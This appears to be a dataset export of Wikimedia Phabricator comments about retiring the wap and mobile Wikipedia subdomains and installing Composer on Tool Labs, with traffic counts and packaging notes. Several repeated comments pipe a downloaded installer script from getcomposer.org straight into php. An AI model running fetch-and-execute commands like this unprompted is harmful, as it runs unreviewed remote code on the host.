",,,1436479902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,16.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.84,0.88,"Change 223972 had a related patch set uploaded (by BBlack):
Remove wap and mobile subdomains

[[GERRIT_URL]]
"
488357,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"We're already sending rel=canonical to the desktop sites from both of them as well, like we do for `.m.`.  The traffic logs look similar to other stuff we've killed recently - not statistically significant, but it is there.  My inclination is to dump them.  From the per-domain-count list, vs 17425538 for en.m.wikipedia.org and 98696288 for en.wikipedia.org:
```
lines=10
$ egrep '\.(wap|mobile)\.' per-domain-count
  17587 ""en.mobile.wikipedia.org""
   6199 ""zh.wap.wikipedia.org""
   3845 ""zh.mobile.wikipedia.org""
   2790 ""ru.mobile.wikipedia.org""
   2679 ""en.wap.wikipedia.org""
   1874 ""fr.wap.wikipedia.org""
   1380 ""de.mobile.wikipedia.org""
   1308 ""fr.mobile.wikipedia.org""
    974 ""ru.wap.wikipedia.org""
    937 ""de.wap.wikipedia.org""
    759 ""it.wap.wikipedia.org""
    661 ""pt.mobile.wikipedia.org""
    517 ""ja.mobile.wikipedia.org""
    458 ""it.mobile.wikipedia.org""
    444 ""vi.wap.wikipedia.org""
    417 ""es.wap.wikipedia.org""
    341 ""fa.mobile.wikipedia.org""
    300 ""nl.mobile.wikipedia.org""
    300 ""ar.mobile.wikipedia.org""
    280 ""hu.mobile.wikipedia.org""
    278 ""es.mobile.wikipedia.org""
    274 ""cs.mobile.wikipedia.org""
    263 ""no.mobile.wikipedia.org""
    262 ""fi.wap.wikipedia.org""
    234 ""id.wap.wikipedia.org""
    225 ""th.mobile.wikipedia.org""
    195 ""cs.wap.wikipedia.org""
    174 ""sr.mobile.wikipedia.org""
    155 ""oc.mobile.wikipedia.org""
    142 ""ms.mobile.wikipedia.org""
    137 ""ru.m.mobile.wikipedia.org""
    136 ""id.mobile.wikipedia.org""
    131 ""sv.mobile.wikipedia.org""
    130 ""pl.wap.wikipedia.org""
    129 ""sr.wap.wikipedia.org""
    126 ""el.wap.wikipedia.org""
    119 ""vi.mobile.wikipedia.org""
    108 ""he.mobile.wikipedia.org""
    104 ""tr.mobile.wikipedia.org""
     93 ""pl.mobile.wikipedia.org""
     85 ""he.wap.wikipedia.org""
     81 ""fa.wap.wikipedia.org""
     57 ""bg.wap.wikipedia.org""
     57 ""ba.wap.wikipedia.org""
     52 ""af.wap.wikipedia.org""
     48 ""zh-yue.mobile.wikipedia.org""
     47 ""ta.mobile.wikipedia.org""
     43 ""mg.mobile.wikipedia.org""
     42 ""ba.mobile.wikipedia.org""
     38 ""bg.mobile.wikipedia.org""
     36 ""ka.mobile.wikipedia.org""
     32 ""el.mobile.wikipedia.org""
     31 ""te.mobile.wikipedia.org""
     30 ""eu.wap.wikipedia.org""
     30 ""eu.mobile.wikipedia.org""
     26 ""fi.mobile.wikipedia.org""
     24 ""nv.mobile.wikipedia.org""
     23 ""se.mobile.wikipedia.org""
     19 ""no.wap.wikipedia.org""
     18 ""zh-yue.wap.wikipedia.org""
     18 ""ka.wap.wikipedia.org""
     17 ""se.wap.wikipedia.org""
     15 ""ia.mobile.wikipedia.org""
     13 ""ksh.mobile.wikipedia.org""
     11 ""ug.mobile.wikipedia.org""
     10 ""ia.wap.wikipedia.org""
      9 ""roa-tara.mobile.wikipedia.org""
      9 ""am.wap.wikipedia.org""
      7 ""am.mobile.wikipedia.org""
      5 ""is.mobile.wikipedia.org""
      5 ""arc.mobile.wikipedia.org""
      3 ""mi.mobile.wikipedia.org""
      3 ""kl.mobile.wikipedia.org""
      2 ""www.fr.mobile.wikipedia.org""
      2 ""pms.mobile.wikipedia.org""
      2 ""arc.wap.wikipedia.org""
      1 ""zh.wap.wikipedia.org:443""
      1 ""za.wap.wikipedia.org""
      1 ""www.zh.wap.wikipedia.org""
      1 ""www.zh.mobile.wikipedia.org""
      1 ""www.pnt.mobile.wikipedia.org""
      1 ""www.nds-nl.mobile.wikipedia.org""
      1 ""www.jp.wap.wikipedia.org""
      1 ""www.epo.wap.wikipedia.org""
      1 ""www.en.mobile.wikipedia.org""
      1 ""www.dk.mobile.wikipedia.org""
      1 ""uploa0000000000000000000000000000000000000000l,application/vnd.wap.xhtml+xml,application/xhtml+xml, image/vnd.wap.wbmp, image00000000000000000000e/jpeg, image/png, i00000000000000000000*/*;q=0.1""
      1 ""ug.wap.wikipedia.org""
      1 ""static.mobile.espn.go.com""
      1 ""ko.mobile.wikipedia.org""
      1 ""kl.wap.wikipedia.org""
      1 ""ig.wap.wikipedia.org""
      1 ""bat-smg.mobile.wikipedia.org""
      1 ""bar.wap.wikipedia.org""
      1 ""ab.mobile.wikipedia.com""
      1 ""aa.wap.wikipedia.org""
```
",,,1436311015,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,9.0,15.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,3.8641975308641974,0.7407407407407407,"We're already sending rel=canonical to the desktop sites from both of them as well, like we do for CODE.  The traffic logs look similar to other stuff we've killed recently - not statistically significant, but it is there.  My inclination is to dump them.  From the per-domain-count list, vs 17425538 for en.m.wikipedia.org and 98696288 for en.wikipedia.org:
``CODE``
"
488356,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"We're already sending rel=canonical to the desktop sites from both of them as well, like we do for `.m.`.  The traffic logs look similar to other stuff we've killed recently - not statistically signification, but it is there.  My inclination is to dump them.  From the per-domain-count list, vs 17425538 for en.m.wikipedia.org and 98696288 for en.wikipedia.org:
```
lines=10
$ egrep '\.(wap|mobile)\.' per-domain-count
  17587 ""en.mobile.wikipedia.org""
   6199 ""zh.wap.wikipedia.org""
   3845 ""zh.mobile.wikipedia.org""
   2790 ""ru.mobile.wikipedia.org""
   2679 ""en.wap.wikipedia.org""
   1874 ""fr.wap.wikipedia.org""
   1380 ""de.mobile.wikipedia.org""
   1308 ""fr.mobile.wikipedia.org""
    974 ""ru.wap.wikipedia.org""
    937 ""de.wap.wikipedia.org""
    759 ""it.wap.wikipedia.org""
    661 ""pt.mobile.wikipedia.org""
    517 ""ja.mobile.wikipedia.org""
    458 ""it.mobile.wikipedia.org""
    444 ""vi.wap.wikipedia.org""
    417 ""es.wap.wikipedia.org""
    341 ""fa.mobile.wikipedia.org""
    300 ""nl.mobile.wikipedia.org""
    300 ""ar.mobile.wikipedia.org""
    280 ""hu.mobile.wikipedia.org""
    278 ""es.mobile.wikipedia.org""
    274 ""cs.mobile.wikipedia.org""
    263 ""no.mobile.wikipedia.org""
    262 ""fi.wap.wikipedia.org""
    234 ""id.wap.wikipedia.org""
    225 ""th.mobile.wikipedia.org""
    195 ""cs.wap.wikipedia.org""
    174 ""sr.mobile.wikipedia.org""
    155 ""oc.mobile.wikipedia.org""
    142 ""ms.mobile.wikipedia.org""
    137 ""ru.m.mobile.wikipedia.org""
    136 ""id.mobile.wikipedia.org""
    131 ""sv.mobile.wikipedia.org""
    130 ""pl.wap.wikipedia.org""
    129 ""sr.wap.wikipedia.org""
    126 ""el.wap.wikipedia.org""
    119 ""vi.mobile.wikipedia.org""
    108 ""he.mobile.wikipedia.org""
    104 ""tr.mobile.wikipedia.org""
     93 ""pl.mobile.wikipedia.org""
     85 ""he.wap.wikipedia.org""
     81 ""fa.wap.wikipedia.org""
     57 ""bg.wap.wikipedia.org""
     57 ""ba.wap.wikipedia.org""
     52 ""af.wap.wikipedia.org""
     48 ""zh-yue.mobile.wikipedia.org""
     47 ""ta.mobile.wikipedia.org""
     43 ""mg.mobile.wikipedia.org""
     42 ""ba.mobile.wikipedia.org""
     38 ""bg.mobile.wikipedia.org""
     36 ""ka.mobile.wikipedia.org""
     32 ""el.mobile.wikipedia.org""
     31 ""te.mobile.wikipedia.org""
     30 ""eu.wap.wikipedia.org""
     30 ""eu.mobile.wikipedia.org""
     26 ""fi.mobile.wikipedia.org""
     24 ""nv.mobile.wikipedia.org""
     23 ""se.mobile.wikipedia.org""
     19 ""no.wap.wikipedia.org""
     18 ""zh-yue.wap.wikipedia.org""
     18 ""ka.wap.wikipedia.org""
     17 ""se.wap.wikipedia.org""
     15 ""ia.mobile.wikipedia.org""
     13 ""ksh.mobile.wikipedia.org""
     11 ""ug.mobile.wikipedia.org""
     10 ""ia.wap.wikipedia.org""
      9 ""roa-tara.mobile.wikipedia.org""
      9 ""am.wap.wikipedia.org""
      7 ""am.mobile.wikipedia.org""
      5 ""is.mobile.wikipedia.org""
      5 ""arc.mobile.wikipedia.org""
      3 ""mi.mobile.wikipedia.org""
      3 ""kl.mobile.wikipedia.org""
      2 ""www.fr.mobile.wikipedia.org""
      2 ""pms.mobile.wikipedia.org""
      2 ""arc.wap.wikipedia.org""
      1 ""zh.wap.wikipedia.org:443""
      1 ""za.wap.wikipedia.org""
      1 ""www.zh.wap.wikipedia.org""
      1 ""www.zh.mobile.wikipedia.org""
      1 ""www.pnt.mobile.wikipedia.org""
      1 ""www.nds-nl.mobile.wikipedia.org""
      1 ""www.jp.wap.wikipedia.org""
      1 ""www.epo.wap.wikipedia.org""
      1 ""www.en.mobile.wikipedia.org""
      1 ""www.dk.mobile.wikipedia.org""
      1 ""uploa0000000000000000000000000000000000000000l,application/vnd.wap.xhtml+xml,application/xhtml+xml, image/vnd.wap.wbmp, image00000000000000000000e/jpeg, image/png, i00000000000000000000*/*;q=0.1""
      1 ""ug.wap.wikipedia.org""
      1 ""static.mobile.espn.go.com""
      1 ""ko.mobile.wikipedia.org""
      1 ""kl.wap.wikipedia.org""
      1 ""ig.wap.wikipedia.org""
      1 ""bat-smg.mobile.wikipedia.org""
      1 ""bar.wap.wikipedia.org""
      1 ""ab.mobile.wikipedia.com""
      1 ""aa.wap.wikipedia.org""
```
",,,1436310997,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,0,True,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,5.0,0.0,9.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,7.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,9.0,15.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,3.888888888888889,0.7407407407407407,"We're already sending rel=canonical to the desktop sites from both of them as well, like we do for CODE.  The traffic logs look similar to other stuff we've killed recently - not statistically signification, but it is there.  My inclination is to dump them.  From the per-domain-count list, vs 17425538 for en.m.wikipedia.org and 98696288 for en.wikipedia.org:
``CODE``
"
487765,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"How many requests to these domains there are in the log? `*.wap` was [[ https://phabricator.wikimedia.org/T18692 | deprecated ]] in early 2009, and `*.mobile` was [[ https://phabricator.wikimedia.org/T26397 | deprecated ]] in late 2011. Google has [[ https://www.google.com/?gws_rd=ssl#newwindow=1&q=site:www.*.wikipedia.org | 39,300 results ]] for `site:*.mobile.wikipedia.org`, which is fewer than the [[ https://www.google.com/?gws_rd=ssl#newwindow=1&q=site:www.*.wikipedia.org | 96,700 results]] for `site:www.*.wikipedia.org`. I think it is fine to delete them from DNS.",,,1436256233,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,0,True,1.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,11.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,16.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,6.0,15.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,4.0,11.0,8.0,1.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,5.0,3.0632911392405062,0.5569620253164557,"How many requests to these domains there are in the log? CODE was [[ URL | deprecated ]] in early 2009, and CODE was [[ URL | deprecated ]] in late 2011. Google has [[ URL | 39,300 results ]] for CODE, which is fewer than the [[ URL | 96,700 results]] for CODE. I think it is fine to delete them from DNS."
104789,Install composer on tools-login,"This makes installation of web services written in PHP a lot easier since right now one can't do ""git clone .."" followed by ""composer install"".

""npm"", for example, is installed. Would be nice to have composer as well.",Medium,50.0,1436077644,1444853289.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-TASK-mib56lmwmjd226wmav6y,task_description,resolved,True,c3,3,True,False,False,0,True,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,6.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,12.0,4.0,0.0,12.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.5686274509803924,0.8235294117647058,"This makes installation of web services written in PHP a lot easier since right now one can't do ""git clone .."" followed by ""composer install"".

""npm"", for example, is installed. Would be nice to have composer as well."
546534,Install composer on tools-login,"```
Notice: /Stage[main]/Toollabs::Composer/File[/srv/composer]/ensure: created
Notice: /Stage[main]/Toollabs::Composer/Git::Clone[composer]/Exec[git_clone_composer]/returns: executed successfully
Notice: /Stage[main]/Toollabs::Composer/File[/usr/local/bin/composer]/ensure: created
```

```
valhallasw@tools-bastion-01:~$ composer --version
Composer version @package_branch_alias_version@ (@package_version@) @release_date@
```

uuuuh. According to the git log it's version `1.0.0-alpha10`.",,,1444853289,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,14,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.142857142857143,0.7142857142857143,``CODE`CODE`CODE`CODE1.0.0-alpha10`.
546525,Install composer on tools-login,"Change 246072 merged by Yuvipanda:
toollabs: add composer to dev hosts

[[https://gerrit.wikimedia.org/r/246072]]",,,1444853023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.85,0.85,"Change 246072 merged by Yuvipanda:
toollabs: add composer to dev hosts

[[GERRIT_URL]]"
545862,Install composer on tools-login,"Change 246072 had a related patch set uploaded (by Merlijn van Deen):
toollabs: add composer to dev hosts

[[https://gerrit.wikimedia.org/r/246072]]
",,,1444767371,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,False,,,14,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6551724137931036,0.896551724137931,"Change 246072 had a related patch set uploaded (by Merlijn van Deen):
toollabs: add composer to dev hosts

[[GERRIT_URL]]
"
535602,Install composer on tools-login,Let's just do the git checkout + symlink option via puppet? We can make it a composer::install class or something and include it in both tools and integration,,,1443230068,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,12,True,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,13.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,13.0,7.0,0.0,3.0,0.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.366666666666666,0.9333333333333333,Let's just do the git checkout + symlink option via puppet? We can make it a composer::install class or something and include it in both tools and integration
534088,Install composer on tools-login,"A few things I tried.

 - building an fpm package from the integration/composer repo works: https://gerrit.wikimedia.org/r/#/c/240451/
  - but might not be an improvement over just using git co, unless we can automate it

 - backporting is more of an issue

Backporting log for @hashar:
 - sudo apt-get install devscripts debian-keyring equivs

jsonlint:
 - dget -x http://http.debian.net/debian/pool/main/j/jsonlint/jsonlint_1.3.1-2.dsc
 - cd jsonlint
 - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
 - sudo mk-build-deps --install --remove  # installs lots of stuff

after hacking the debian/rules, changing the version parsing to 
  | sed 's/.*(//' | sed 's/).*//')
  
- fakeroot debian/rules binary

works, but 

- dpkg-buildpackage -us -uc

fails

- After rm bin/jsonlint-php, I can build (but of course not sign). But lintian jsonlint_1.3.1-2~toollabs1+1_all.deb passes! Good.

(this is after ca. 50 minutes of fiddling...)

php-cli-prompt:

- dget -x http://http.debian.net/debian/pool/main/p/php-cli-prompt/php-cli-prompt_1.0.0+dfsg-1.dsc
 - cd php-cli-prompt_..etc
 - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
 - debuild

worked immediately.

json-schema: same sed issue, but works with the same hack

composer:
 - dget -x http://http.debian.net/debian/pool/main/c/composer/composer_1.0.0~alpha10+20150602-1.dsc
 - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
 - build requires jsonlint, fun fun fun.
 - sudo mk-build-deps --install --remove doesn't seem to work at all?
   - manually installing seems to work
 - but it requires php-symfony-console >= 2.4 and jessie bundles 2.3, so we have to backport and install those as well?

This took me > 1 hour, so I gave up at this point.",,,1443087883,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,12,True,0.5,0.0,0.0,0.0,0.75,3.25,0.75,0.0,0.0,0.25,0.25,1.25,0.0,0.0,0.0,1.5,0.75,3.0,5.25,0.0,1.0,0.0,0.0,0.0,1.0,0.25,0.0,0.0,0.75,0.0,0.25,3.75,0.0,0.5,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.25,0.75,0.0,0.25,0.0,0.0,0.0,16.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.75,4.0,0.5,2.5,3.0,0.0,0.0,0.25,0.25,3.25,0.0,2.25,0.0,2.25,5.25,6.25,0.5,2.5,0.0,2.25,0.0,0.0,1.0,0.25,1.5,0.25,0.0,1.0,3.641885852911134,0.6910112359550562,"A few things I tried.

 - building an fpm package from the integration/composer repo works: URL
  - but might not be an improvement over just using git co, unless we can automate it

 - backporting is more of an issue

Backporting log forSCREEN_NAME:
 - sudo apt-get install devscripts debian-keyring equivs

jsonlint:
 - dget -x URL
 - cd jsonlint
 - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
 - sudo mk-build-deps --install --remove  # installs lots of stuff

after hacking the debian/rules, changing the version parsing to 
  | sed 's/.*(//' | sed 's/).*//')
  
- fakeroot debian/rules binary

works, but 

- dpkg-buildpackage -us -uc

fails

- After rm bin/jsonlint-php, I can build (but of course not sign). But lintian jsonlint_1.3.1-2~toollabs1+1_all.deb passes! Good.

(this is after ca. 50 minutes of fiddling...)

php-cli-prompt:

- dget -x URL
 - cd php-cli-prompt_..etc
 - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
 - debuild

worked immediately.

json-schema: same sed issue, but works with the same hack

composer:
 - dget -x URL
 - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
 - build requires jsonlint, fun fun fun.
 - sudo mk-build-deps --install --remove doesn't seem to work at all?
   - manually installing seems to work
 - but it requires php-symfony-console >= 2.4 and jessie bundles 2.3, so we have to backport and install those as well?

This took me > 1 hour, so I gave up at this point."
533029,Install composer on tools-login,"After discussing with @joe and @hashar:

 - backporting the package to precise and trusty is probably difficult.
 - to solve the issue on the integration cluster, https://github.com/wikimedia/integration-composer is used (git checkout, then use /srv/deployment/integration/composer/vendor/bin/composer)

We could use the latter method for tool labs as well. See https://github.com/wikimedia/operations-puppet/blob/00c433345214115e5a5b05eb6d83eedabfbf7110/modules/contint/manifests/slave-scripts.pp#L29 and https://github.com/wikimedia/operations-puppet/blob/acacf97e2df962fef83487a461f3559fa07e4d6f/modules/extdist/manifests/init.pp#L74 for current usage. ",,,1442999775,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,11,True,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,5.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,8.0,10.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.232876712328767,0.7123287671232876,"After discussing withSCREEN_NAME andSCREEN_NAME:

 - backporting the package to precise and trusty is probably difficult.
 - to solve the issue on the integration cluster, URL is used (git checkout, then use /srv/deployment/integration/composer/vendor/bin/composer)

We could use the latter method for tool labs as well. See URL and URL for current usage. "
526021,Install composer on tools-login,"Work around:

```lang=sh
$ ssh tools-login
$ become mytool
# https://getcomposer.org/download/
$ mkdir bin
$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin --filename=composer
# Now installed in ~/bin/composer
# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
$ which composer
# /data/project/:tool/bin/composer
```

Now composer is available to e.g.

```lang=sh
(mytool at tools-login in ~)$ cd my-repo
(mytool at tools-login in ~/my-repo)$ composer install --no-dev
```
",,,1442094127,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,10,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.7,"Work around:

``CODE`CODE`CODE``
"
522326,Install composer on tools-login,"Work around:

```lang=sh
$ ssh tools-login
$ become mytool
# https://getcomposer.org/download/
$ mkdir bin
$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin --filename=composer
# Now installed in ~/bin/composer
# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
$ which composer
# /data/project/:tool/bin/composer
```

Now composer is available to e.g.

```lang=sh
(tool on tools-login)$ cd my-repo
(tool on tools-login)$ composer install --no-dev
```
",,,1441668524,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.7,"Work around:

``CODE`CODE`CODE``
"
522325,Install composer on tools-login,"Work around:

```lang=sh
$ ssh tools-login
$ become mytool
# https://getcomposer.org/download/
$ mkdir bin
$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin --filename=composer
# Now installed in ~/bin/composer
# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
$ which composer
# /data/project/:tool/bin/composer
